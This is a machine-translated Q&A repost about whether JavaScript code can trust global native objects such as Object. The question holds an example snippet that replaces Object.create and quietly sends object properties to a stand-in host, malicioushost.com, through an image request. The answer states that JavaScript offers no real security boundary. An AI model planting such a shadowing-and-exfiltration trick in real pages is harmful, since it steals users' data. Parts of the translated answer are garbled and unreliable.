Is it safe to rely on global native objects in JavaScript, particularly the Object one?(在JavaScript中依赖全局原生对象,尤其是对象对象安全吗?)
问题描述
首先,我知道,依赖Array
构造函数通常是不受欢迎的,因为它可以被其他代码重新赋值,这不是严格模式,而应该使用数组文字[]
,在这种情况下,他总是依赖本机的实数组(还有一些其他含义,但这是主要的)
但是如何处理Object
呢?有一些方法(create
、freeze
等)。只能通过Object
标识符访问。
我查看了AngularJS和SAW的源代码,那里的作者依赖于这些对象(Object
、Function
)不会被重新分配的假设,所以我得出的结论是没有更好的方法。但是我想听听更有经验的人的意见。
所以问题是:如何保护自己打算与其他javascript代码并列使用的代码不受重新分配的全局本机对象的影响?
更新
我的问题是关于安全问题。所以它是关于开发人员不能假设的情况:
- 如果重新分配对象,则其他对象将无法正常工作,因此不用担心
- 站点管理员将正确测试他在其站点上包含的内容
- 如果对象有某个方法,并且返回预期的结果,则一切正常
请以此为例:
// the malicious code
var oldObj = Object,
Object = {
create: function(proto) {
var secretProps = 'http://malicioushost.com/?'
for (var prop in proto) {
secretProps += encodeURIComponent(prop) + '=' + encodeURIComponent(proto[prop]) + '&'
}
var secretImg = document.createElement('img')
secretImg.src = secretProps
document.body.appendChild(secretImg)
return oldObj.create.call(oldObj, proto)
}
}
// the non-malign code
var foo = Object.create({prop1: 'foo', prop2: 'bar'})
此处Object.Create的行为与原始对象完全相同
衷心感谢。
推荐答案
首先,我知道依赖Array构造函数通常不受欢迎,因为它可以被其他代码重新赋值
没有。Array
构造函数不受欢迎的原因是它比仅仅说[]
不必要地冗长,而且接口也不一致,令人困惑。(具体地说,如果x
是一个数字,则new Array(x).length
为x
,如果x
是数字,则1
为.ugh.)
有些库试图获取它们自己的某些全局变量的副本,以便在主页恰好定义了它自己的名为Object
或undefined
的变量时,它们仍然可以工作,但无论如何它都不是无懈可击的。
如何保护自己打算与其他javascript代码并行使用的代码不受重新分配的全局本机对象的影响?
这不是一个可解决的问题。JavaScript没有提供足够的工具来建立有效的安全边界。几乎所有对象、方法和属性都可能遭到破坏。
(不管怎样,在语言层面.通过浏览器,您可以使用跨域框架/沙箱postMessage
等在不同的上下文中保存代码。但是,如果用户与之交互的界面元素发生在受损的顶层页面上,仍然不太可能有太大帮助。)
这篇关于在JavaScript中依赖全局原生对象,尤其是对象对象安全吗?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持编程学习网!
本文标题为:在JavaScript中依赖全局原生对象,尤其是对象对象安全吗?


- CSS媒体查询(最大高度)不起作用,但为什么? 2022-01-01
- 如何使用 JSON 格式的 jQuery AJAX 从 .cfm 页面输出查 2022-01-01
- addEventListener 在 IE 11 中不起作用 2022-01-01
- 使用RSelum从网站(报纸档案)中抓取多个网页 2022-09-06
- Css:将嵌套元素定位在父元素边界之外一点 2022-09-07
- Quasar 2+Apollo:错误:找不到ID为默认的Apollo客户端。如果您在组件设置之外,请使用ProvideApolloClient() 2022-01-01
- 失败的 Canvas 360 jquery 插件 2022-01-01
- Flexslider 箭头未正确显示 2022-01-01
- 400或500级别的HTTP响应 2022-01-01
- Fetch API 如何获取响应体? 2022-01-01